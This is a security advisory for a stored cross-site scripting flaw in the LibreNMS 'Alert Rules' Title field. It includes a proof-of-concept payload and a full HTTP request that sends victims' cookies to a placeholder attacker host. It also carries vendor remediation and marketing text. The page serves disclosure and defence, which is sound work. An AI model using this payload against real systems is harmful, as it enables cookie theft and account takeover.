GHSA-j2j9-7pr6-xqwv
HIGHLibreNMS has Stored Cross-site Scripting vulnerability in "Alert Rules" feature
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Alert Rules" feature allows authenticated users to inject arbitrary JavaScript through the "Title" field. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions.
Details
The vulnerability occurs when creating an alert rule. The application does not properly sanitize user inputs in the "Title" field, which allows an attacker to escape the attribute context where the title is injected (data-content). Despite some character restrictions, the attacker can still inject a payload that leverages available attributes on the div element to execute JavaScript automatically when the page loads.
For example, the following payload can be used:
test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie"
This payload triggers the XSS when the affected page is loaded, automatically redirecting the user to the attacker's controlled domain with any non-httponly cookies present.
The vulnerability stems from the application not sanitizing the value of $rule['name'] before adding it to the $enabled_msg variable. This is evident in the code:
PoC
- Create a new alert rule in the LibreNMS interface.
- In the "Title" field, input the following payload:
test1'' autofocus onfocus="document.location='https://<attacker-url>/logger.php?c='+document.cookie" - Save the rule and trigger the alert.
- Observe that when the page loads, the injected JavaScript executes and redirects the user, sending their non-httponly cookies to the attacker's server.
Example Request:
POST /ajax_form.php HTTP/1.1
Host: <your_host>
X-Requested-With: XMLHttpRequest
X-CSRF-TOKEN: <your_XSRF_token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: <your_cookie>
_token=<your_token>&device_id=-1&device_name=invalid+hostname&rule_id=17&type=alert-rules&template_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22not_equal%22%2C%22value%22%3A%22test2'%5C%22%22%7D%5D%2C%22valid%22%3Atrue%7D&name=test1''+autofocus+onfocus%3D%22document.location%3D'https%3A%2F%2F<attacker_url>%2Flogger.php%3Fc%3D'%2Bdocument.cookie%22&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=not_equal&builder_rule_0_value_0=test2'%22&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=Test2'%22&override_query=on&adv_query=select+'test3'%22'%3B
Impact
It could allow authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Impacted users could have their accounts compromised, enabling the attacker to perform unauthorized actions on their behalf.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.9.0 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update librenms/librenms to 24.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j2j9-7pr6-xqwv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j2j9-7pr6-xqwv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j2j9-7pr6-xqwv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j2j9-7pr6-xqwv in your dependencies?
O3 detects GHSA-j2j9-7pr6-xqwv across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.